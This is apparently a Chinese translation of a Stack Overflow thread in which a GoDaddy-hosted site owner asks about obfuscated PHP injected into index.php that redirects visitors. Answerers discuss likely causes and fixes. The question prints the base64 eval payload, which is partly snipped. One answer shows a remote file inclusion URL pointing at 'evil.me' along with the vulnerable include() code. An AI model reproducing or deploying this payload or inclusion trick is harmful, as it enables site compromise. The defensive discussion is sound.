PHP:我的网站被黑了。

5
我刚刚检查了我的网站,突然跳转到了这个网站:
xxxp://www1.re*******3.net/?p=p52dcWpkbG6HjsbIo216h3de0KCfaFbVoKDb2YmHWJjOxaCbkXp%2FWqyopHaYXsiaY2eRaGNpnFPVpJHaotahiaJ0WKrO1c%2Beb1qfnaSZdV%2FXlsndblaWpG9plmGQYWCcW5eakWppWKjKx6ChpqipbmdjpKjEjtDOoKOhY56n1pLWn1%2FZodXN02BdpqmikpVwZWpxZGxpcV%2FVoJajYmJkZ2hwlGGXaVbJkKC0q1eum5qimZxx

我发现在我的index.php文件的第一行,看起来像这样:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHR/*

Snip

*/DkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

我该如何停止这个问题?谢谢!

更新: 这是什么类型的攻击?这真的是XSS吗?没有人知道我的FTP密码。


7
这并不是典型的跨站脚本攻击(XSS)。如果有人将代码注入您的源文件中,那么意味着您的服务器已经被入侵了。您是否尝试查看FTP日志以确认是否有人通过暴力破解密码得到了您的权限? - bsberry
这根本不是 XSS(跨站脚本攻击)。 - Anonymoose
如果你正在使用MediaTemple作为主机,类似的事情也曾经发生在我身上...至少在我使用(gs)主机时是这样。我的意思是,检查一下你的主机公司的博客或者其他信息源。 - bschaeffer
看一下Gumblar\Nineball。这看起来类似于服务器端的感染。检查你的HTML文件,看看是否有一些随机的垃圾内容。(特别是index.html.js\index.htm) - Joshua Enfield
@bschaeffer,我正在GoDaddy上托管。 - Loreto Gabawa Jr.
显示剩余3条评论
8个回答

10

如果有人(不是通过XSS或SQL注入)可以访问您服务器上的PHP文件,则可能已经存在严重安全问题。如果这是一个共享服务器,那么很可能整个服务器已被入侵。您可以删除PHP文件顶部的垃圾代码,并将它们设置为只读。但是,考虑到这可能是一个共享服务器,如果您的网络托管服务提供商不解决导致此问题的安全漏洞,则这可能不足以解决问题。与您的托管提供商联系(我个人会选择切换到新的提供商,因为这表明这些家伙实在没用)。


是的,我在一个共享服务器上。 - Loreto Gabawa Jr.

3
如果你的open_wrappers = on,并且你在网站的某个地方使用了类似于这样的内容:
http://domain.tld/index.php?page=somenameofpage

在index.php(或被包含的文件)的某个地方

<?php

include($page . '.php');

?>

有人可能通过请求来攻击您的网站

http://domain.tld/index.php?page=http://evil.me/evilcode.txt?

页面的值应该进行URL编码才能正常工作 - 我很懒,所以没有对其进行URL编码。请注意结尾处的问号。

现在您实际包含的内容是:

http://evil.me/evilcode.txt?.php

-- 恶意代码.txt --

<?php

echo 'some evil code huh!';

这会执行evilcode.txt中的php代码

一个快速修复的方法是在include路径中添加一个.,像这样

include('./' . $page . '.php');

我曾经吃过亏.. 成为了一个现有网站的管理员,该网站使用这种导航方法。花费了我几个月才搞明白,即使黑客没有替换任何代码-他只是在一些子文件夹中添加了文件。而且,他在某些.js和.css文件中添加了后门,用户的AntiVir也检测到了。


2

保护您的服务器,尝试联系相关人员,该服务器似乎已被攻击。


1

删除这行代码吗?

这是对您的服务器的攻击,允许攻击者修改服务器文件。这可能是通过文件夹权限(拥有777权限很糟糕),或者如果您允许脚本修改服务器上的其他脚本。

您可能需要检查您的文件夹权限。


是的,我已经将它删除了。目前为止我的网站运行正常。但我有一种感觉,会有另一次攻击。 - Loreto Gabawa Jr.
1
@jun:你肯定会再次受到攻击。如果你没有堵住漏洞,那么他们肯定会再次攻击。 - NotMe

1
这是什么样的攻击?这真的是xss吗?没有人知道我的ftp密码。
这种攻击有几个向量:
软件漏洞。这可能包括过时的PHP、MySQL、Apache或运行的任何其他内容。整个服务器可能已经被入侵了。
脚本漏洞。通常是使用广泛的PHP应用程序上传和执行命令的漏洞。一个常见的例子是在照片库软件中,它被欺骗上传重命名的php文件,允许在服务器上将扩展名从jpg重新命名为原始的php,然后运行,允许脚本允许的任何操作(通常以这种方式上传PHP管理员/根工具包,使攻击者能够自由地上传和更改文件)。
FTP暴力攻击。通常情况下,您的服务器应该配置为能够IP阻止多次登录失败的地址。
用户感染。这是一种相对较新的攻击方式,通过木马(目前大多数使用Adobe PDF Reader插件中的漏洞,因为它可以在FireFox中工作,但任何允许代码执行的浏览器漏洞都可以使用)来安装木马到经过的用户计算机上。木马搜索用户计算机上常见的FTP程序,如Filezilla和Dreamweaver,寻找保存的密码。一旦找到FTP登录信息,它就从用户自己的计算机上访问该站点,并尝试修改已知的文件类型(htm、php、asp等),插入自己的代码(大多数搜索HEAD标记并在其后插入)-与最初感染用户计算机的代码相同。完成后,它可以像任何其他木马一样工作(安装广告软件或保持隐藏,使用户计算机成为僵尸网络的一部分)。

1
我们曾经遇到过同样的问题。真的很惭愧,但这是因为用户能够上传任何扩展名的文件并在服务器上运行它们。所以,有些用户上传了 PHP 脚本并执行了它。:-)
我们通过设置过滤器和只读属性来解决了这个问题。

0

只需删除此行,并修补您的服务器。很可能您已被后门感染。


0

大多数人通过先删除病毒代码,然后将所有PHP文件设置为只读,并查找攻击用于写入您的PHP文件的漏洞来防止代码注入攻击。


1
到底是什么让文件变成只读的呢?如果拥有使它们只读所需的权限,并且的帐户被攻击,那么无论是什么获取了这些文件,都可以删除只读属性。 - Nathan Osman
@Geor 我原本以为 PHP 不会在与常规用户相同的帐户下运行。例如,大多数情况下,PHP 使用一个非常有限的 httpd 用户,然后您(常规/FTP 用户)保留对 PHP 文件的所有权,并可以将它们标记为只读等。 - Earlz
顺便说一句,这就是安全设置的应该方式。 - Earlz
我同意。我的意思是FTP帐户很可能已被入侵,在这种情况下,将文件设置为只读是无效的。 - Nathan Osman

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接